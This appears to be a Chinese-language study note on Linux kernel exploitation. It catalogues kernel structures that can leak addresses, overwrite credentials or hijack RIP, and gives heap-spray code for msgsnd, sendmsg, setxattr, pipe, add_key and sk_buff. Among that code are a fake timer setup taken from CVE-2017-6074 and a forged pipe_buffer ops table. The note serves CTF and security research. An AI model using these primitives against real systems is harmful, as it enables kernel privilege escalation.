一、可用于 Leak/AAR/AAW/RIP劫持的结构体
说明目前缺少kmalloc-8、kmalloc-16、kmalloc-64、kmalloc-512结构体。
1. shm_file_data
size: 0x20 kmalloc-32
内核基址：可泄露。其ns、vm_ops指针可以泄露
heap：可泄露。file指向堆区域
stack：不能泄露
劫持RIP：不能
产生：调用shmat()映射共享内存
释放：shmctl() ？？
备注：尝试过重写vm_ops，但是没发现调用fake_vtable函数指针的情况。
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
/* 测试输出（对一个含UAF漏洞的test.ko进行测试）
0x0000：0x0000000000000000
0x0008：0xffffffff82292ae0
0x0010：0xffff88800ea09700
0x0018：0xffffffff81e15540
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800ea09700
*/
2. seq_operations
size: 0x20 kmalloc-32
内核基址：4个指针都能泄露出内核基址
heap：不能泄露
stack：不能泄露
劫持RIP：可劫持。修改start，并调用read，将劫持RIP
产生：open("/proc/self/stat", O_RDONLY)
释放：close()
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
/*
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
3. msg_msg (+user-supplied data)
size: 0x31-0x1000 kmalloc-64以上
内核基址：不能泄露
heap：可泄露。next指向前一个msgsnd消息（SLUB上）
stack：不能泄露
劫持RIP：不能
产生：msgget() + msgsnd()
释放：到msgrcv()，接收顺序同发送顺序，所以kfree的顺序也是传输的顺序
备注：非常方便，因为结构的大小可变，但限制是前48字节是头结构，无法重写。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
/*
0x0000: 0xffff88800e1661c0
0x0008: 0xffff88800e1661c0
0x0010: 0x0000000000000001
0x0018: 0x0000000000000020
0x0020: 0x0000000000000000
0x0028: 0xffff88800e8c7f90
0x0030: 0x4242424241414141
0x0038: 0x4444444443434343
0x0040: 0x4646464645454545
0x0048: 0x0000000000000046
[+] kheap = 0xffff88800e1661c0
*/
4. subprocess_info
size: 0x60 kmalloc-128
内核基址：可泄露。work.func可能指向call_usermodehelper_exec_work
heap：可泄露。但尚未验证是哪些SLUB
stack：不能泄露。
劫持RIP：可劫持。重写cleanup
产生：socket(22, AF_INET, 0) —— 未知协议
释放：与产生的路径相同
备注：通过竞争来设置info->cleanup，触发执行if (info->cleanup) info->cleanup(info); 劫持RIP的概率很大，但是构造ROP回到用户态后，会死在fs或者syscall。如果禁用SMAP，理论上可以将fd重写到用户态，并结合userfaultfd。
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
/*
0x0000: 0xffff88800f254380
0x0008: 0xffff88800f254e88
0x0010: 0xffff88800f254e88
0x0018: 0xffffffff81071380
0x0020: 0x0000000000000000
0x0028: 0xffffffff82242260
0x0030: 0xffff88800e0e3b40
0x0038: 0xffffffff82242180
0x0040: 0x0000000000000000
0x0048: 0x0000010000000006
0x0050: 0x0000000000000407
0x0058: 0x0000000000000000
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f254380
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
5.cred
size: 0xa8 kmalloc-192
内核基址：不能泄露。
heap：可泄露。通过session_keyring泄露，但是未验证属于哪种SLUB。
stack：不能泄露
劫持RIP：不能
产生：创建进程
释放：退出创建的进程。
备注：覆盖uid,gid = 0即可提权。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
6. file
size：kmalloc-256
内核基址：可泄露。f_op指针
heap：未验证。
stack：未验证。
劫持RIP：重写f_op中的shmctl()来控制，但由于UAF后文件结构没有重叠，验证失败。
产生：shmget()创建共享内存。
释放：shmctl()
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/*
* Protects f_ep_links, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;
u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct list_head f_ep_links;
struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
7. timerfd_ctx
size：kmalloc-256
内核基址：可泄露。通过tmr.function所指向的timerfd_tmrproc来泄露
heap：可泄露。通过tmr.base
stack：不能泄露。
劫持RIP：不能
产生：timerfd_create()
释放：close()
struct timerfd_ctx {
union {
struct hrtimer tmr;
struct alarm alarm;
} t;
ktime_t tintv;
ktime_t moffs;
wait_queue_head_t wqh;
u64 ticks;
int clockid;
short unsigned expired;
short unsigned settime_flags; /* to show in fdinfo */
struct rcu_head rcu;
struct list_head clist;
spinlock_t cancel_lock;
bool might_cancel;
};
struct hrtimer {
struct timerqueue_node node;
ktime_t _softexpires;
enum hrtimer_restart (*function)(struct hrtimer *);
struct hrtimer_clock_base *base;
u8 state;
u8 is_rel;
u8 is_soft;
};
/*
0x0000：0xffff88800e216100
0x0008：0x0000000000000000
0x0010：0x0000000000000000
0x0018：0x000000183ca77938
0x0020：0x000000183ca77938
0x0028：0xffffffff811e7ef0
0x0030：0xffff88800f41ba80
...
[+] kbase = 0xffffffff81000000
[+] kbase = 0xffff88800f41ba80
*/
8. tty_struct
size：0x2e0 kmalloc-1024
内核基址：可泄露。ops指向的ptm_unix98_ops
heap：可泄露。通过dev和driver，但是未验证属于哪种SLUB。
stack：似乎不能泄露。
劫持RIP：可劫持。重写ops函数表。
产生：open("/dev/ptmx", O_RDWR | O_NOCTTY)
释放：close()
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
/*
0x0000：0x0000000100005401
0x0008：0x0000000000000000
0x0010：0xffff88800f1ed840
0x0018：0xffffffff81e65900
0x0020: 0x0000000000000000
...
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f1ed840
按回车继续...
[5.413411] BUG：无法在 00000000deadbeef 处处理内核分页请求
*/
9. pipe_buffer
参考：CVE-2021-22555
size：kmalloc-1024 有 GFP_KERNEL_ACCOUNT 标志。
内核基址：可泄露，ops指针指向anon_pipe_buf_ops函数表。
劫持RIP：pipe_buffer->ops->release
分配链：pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370（默认16个page，16*0x28=0x370）。
触发链：pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数
struct pipe_buffer {
struct page *page; // 读写pipe时, 实际上是读写page地址
unsigned int offset, len;
const struct pipe_buf_operations *ops; // <-------- 函数表
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效，有效则返回0，无效则返回负值错误码。
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
构造：
#define NUM_PIPEFDS 256
int pipefd[NUM_PIPEFDS][2];
// spray
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
// release, trigger
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
10. packet_socket
参考：CVE-2016-8655 CVE-2017-6074
size：kmalloc-2048 5.11.14版本中大小为0x5c0。
劫持RIP：
packet_sock->rx_ring->prb_bdqc->retire_blk_timer->function。在timeout超时后调用，可传参，可用于执行native_write_cr4(0x406e0)来关闭SMEP/SMAP。packet_socket->xmit。在接收数据时调用。
分配 packet_sock：socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); —— sock(AF_PACKET) -> packet_create -> sk_alloc
分配timer：setsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp)); —— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
struct packet_fanout *fanout;
union tpacket_stats_u stats;
struct packet_ring_buffer rx_ring; // <--------------- rx_ring
struct packet_ring_buffer tx_ring;
... ...
int (*xmit)(struct sk_buff *skb);
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
struct packet_ring_buffer {
struct pgv *pg_vec;
... ...
unsigned int pg_vec_order;
unsigned int pg_vec_pages;
unsigned int pg_vec_len;
unsigned int __percpu *pending_refcnt;
struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {
struct pgv *pkbdq;
... ...
struct sk_buff *skb; // <---------------- skb
... ...
unsigned short retire_blk_tov;
unsigned short version;
unsigned long tov_in_jiffies;
struct timer_list retire_blk_timer; // <---------------- retire_blk_timer
};
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long); // 待伪造的回调函数
unsigned long data; // 参数
u32 flags;
#ifdef CONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
构造：来自 CVE-2017-6074
#define TIMER_OFFSET (744 + 48 + 104)
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048);
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}
int timers[6];
int optval = TPACKET_V3;
struct tpacket_req3 tp;
struct udp_fifo_handle uh3;
socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds);
// 创建 timer
for (i = 0; i < 6; i++) {
timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval));
memset(&tp, 0, sizeof(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout; // timeout = 500 (0.5s)
setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp));
}
// 堆喷伪造timer
char buffer[2048];
init_timer_buffer(&buffer[0], func, arg);
send(uh3->fds[0], buffer, 1536, 0); // 1536=0x600
sleep(1); // 等待触发
11. sk_buff 线性数据区
参考： CVE-2017-6074
size：2048
劫持RIP：sk_buff -> skb_shared_info -> ubuf_info -> callback 注意skb_shared_info结构的偏移为sk_buff->head+sk_buff->end。
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
... ...
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,
*data; // <------------ (head+end) 指向 skb_shared_info 结构
unsigned int truesize;
atomic_t users;
};
struct skb_shared_info {
unsigned char nr_frags;
__u8 tx_flags;
unsigned short gso_size;
/* Warning: this field is not always filled in (UFO)! */
unsigned short gso_segs;
unsigned short gso_type;
struct sk_buff *frag_list;
struct skb_shared_hwtstamps hwtstamps;
u32 tskey;
__be32 ip6_frag_id;
atomic_t dataref;
void * destructor_arg; // <------------ 指向 ubuf_info 结构
skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数
void *ctx;
unsigned long desc;
};
分配：sendmsg -> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。
释放链：dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback。
构造：只有CVE-2017-6074漏洞中，由于dccp拥塞控制协议对sk_buff结构进行了double-free，可堆喷劫持。
二、可用于任意数据写入/堆喷的结构
1. msg_msg —— msgsnd()
参考： msgsnd linux内核提权系列教程（1）：堆喷射函数sendmsg与msgsend利用
构造：msgsnd()发送，msgrcv()接收。
// 只能控制0x30字节以后的内容
struct {
long mtype;
char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象，但指针未清空
for(int i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可
2. sendmsg()
参考：linux内核提权系列教程（1）：堆喷射函数sendmsg与msgsend利用
size：可选（>=2）
产生：sendmsg，数据放入msg.msg_control指针。
释放：与产生路径相同。
备注：与setxattr相同，可与userfaultfd结合使用。
// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象，但指针未清空
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可
// 方法2
int sock[2];
socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
struct mmsghdr msg[1];
msg[0].msg_hdr.msg_iovlen = 0;
// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;
// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name = "root";
msg[0].msg_hdr.msg_namelen = 1;
syscall(__NR_sendmmsg, sock[0], msg, 1, 0);
3. setxattr
参考：setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析
size：可选（<65536）
产生：setxattr()。
static long setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
... ...
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配空间
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { // [2] 拷贝用户数据
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // [3] 释放空间
return error;
}
释放：与产生路径相同。
备注：与userfaultfd结合使用。弥补msgsnd前48字节无法覆盖的缺陷。
void *addr;
addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
4. pipe() —— pipe_buffer
参考：【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)
write链：write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page中（页=4k），所以不能任意布置数据，参考中用到pipe堆喷是因为pipe_buffer->offset和pipe_buffer->len恰好将改题中结构的第2个8字节—size覆盖很大，导致越界读写。
read链：read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()
构造：
#define SIZE 0x280
char* buf2 = malloc(SIZE);
memset(buf2, 'E', SIZE);
int fds[2];
pipe(&fds[0]);
// 堆喷，把结构中的size域覆盖很大，这样就能任意读写
for(int i = 0; i < 9; i++)
write(fds[1], buf2, SIZE);
5. add_key()
参考：CVE-2017-2636
size：<= kmalloc-8192 最大不超过 /proc/sys/kernel/keys/maxbytes 中规定的值，默认为20000。
产生：add_key
SYSCALL_DEFINE5(add_key, const char __user *, _type,
const char __user *, _description,
const void __user *, _payload,
size_t, plen,
key_serial_t, ringid)
{
key_ref_t keyring_ref, key_ref;
char type[32], *description;
void *payload;
long ret;
... ... // 读取type/description
payload = NULL;
if (plen) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL); // [1] 分配空间
if (!payload)
goto error2;
ret = -EFAULT;
if (copy_from_user(payload, _payload, plen) != 0) // [2] 拷贝用户数据
goto error3;
}
... ...
error:
return ret;
}
构造：
// 方法1
void spray_addkey(int count) {
int i;
char payload[BUF_SIZE];
char desc[256];
memset(payload, 0x42, BUF_SIZE);
for(i=0; i<count; i++) {
sprintf(desc, "payload%d", i);
add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING);
}
}
// 方法2
#include <linux/keyctl.h>
#define PAYLOAD_SZ 8100
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
6. sk_buff
参考：喷射参考CVE-2021-22555，介绍参考CVE-2017-6074。
size：0x280 不包含头信息，可喷射前面的字节，如喷射伪造pipe_buffer->ops。
创建链：write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
read链：read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
write链： write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()
static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
struct file *file = iocb->ki_filp;
struct socket *sock = file->private_data;
struct msghdr msg = {.msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的，所以没有传入msghdr结构（同sendmsg堆喷时传入的结构一样）
.msg_iocb = iocb};
ssize_t res;
if (iocb->ki_pos != 0)
return -ESPIPE;
if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))
msg.msg_flags = MSG_DONTWAIT;
if (sock->type == SOCK_SEQPACKET)
msg.msg_flags |= MSG_EOR;
res = sock_sendmsg(sock, &msg); //
*from = msg.msg_iter;
return res;
}
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
// [2] 拷贝到非线性数据区 skb->frags
for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
int end;
const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
WARN_ON(start > offset + len);
end = start + skb_frag_size(frag);
if ((copy = end - offset) > 0) {
size_t copied;
if (copy > len)
copy = len;
copied = copy_page_from_iter(skb_frag_page(frag),
skb_frag_off(frag) + offset - start,
copy, from);
if (copied != copy)
goto fault;
if (!(len -= copy))
return 0;
offset += copy;
}
start = end;
}
// [3] 拷贝到非线性数据区 skb->fraglist
skb_walk_frags(skb, frag_iter) { // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)
int end;
WARN_ON(start > offset + len);
end = start + frag_iter->len;
if ((copy = end - offset) > 0) {
if (copy > len)
copy = len;
if (skb_copy_datagram_from_iter(frag_iter,
offset - start,
from, copy))
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
start = end;
}
if (!len)
return 0;
... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);
构造：
#define SKB_SHARED_INFO_SIZE 0x140
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
int ss[NUM_SOCKETS][2];
char buf[0x400 - SKB_SHARED_INFO_SIZE];
for (int i = 0; i < NUM_SOCKETS; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf; // 伪造 pipe_buffer->ops
p_buf->ops = kheap_addr + 0x290;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290];
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, 0x400-0x140) < 0) {
perror("[-] write");
return -1;
}
}
}
// 读取skb内容
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, sizeof(buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&buf[0x10]; // 泄露 pipe_buffer->ops —— 内核基址
}
}
// 释放skb
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, 0x400-0x140) < 0) {
perror("[-] read");
return -1;
}
}
}
参考：
Kernel Exploit 用到的结构体
https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 实验环境下载
